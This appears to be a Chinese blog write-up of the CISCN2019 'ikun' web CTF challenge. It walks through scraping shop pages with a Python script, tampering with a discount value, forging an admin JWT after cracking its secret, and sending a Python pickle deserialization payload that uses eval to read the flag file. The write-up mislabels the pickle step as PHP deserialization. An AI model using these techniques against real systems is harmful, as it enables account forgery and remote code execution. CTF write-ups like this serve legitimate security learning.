[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

首先打开题目地址

左下角有个提示,说ikun们一定要买到lv6,还有爆破的字样

可以看到有很多购买链接,但是发现没翻了几页都没有发现lv6,直接用python写个脚本去寻找

import requests

for i in range(1,201):
    url='http://4dab904b-159f-45a0-bf6a-441fa36b2427.node4.buuoj.cn:81/shop?page='+str(i)
    result=requests.get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url+'ok')
    else:
        print(url+'no')


找到lv6进行购买

结算发现钱是不够的,说明这里很有可能存在逻辑漏洞

尝试修改优惠卷的的折数

再次购买发现就不是购买失败了,而是说该页面只允许admin用户访问

查看页面的cookie信息

发现这里涉及JWT,将JWT先进行解密

猜测这里只需要将username改为admin即可,但是还需要破解出他的密匙
这里需要用到一个工具

然后伪造生成的JWT生成JWT网站

然后抓包进行修改JWT
在这个页面进行抓包

修改JWT的值


然后发现点击一键成为大会员也没有发现什么,查看源代码看看有什么线索

发现有一个压缩包,将他下载下来
解压后得到如下文件

放到idea里进行分析
找到一处php反序列化的位置,在admin.py

然后写上序列化的payload,在kali上运行

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a


最后将生成的payload传给become
检查源代码直接将hidden进行删除

然后填入生成payload获得flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值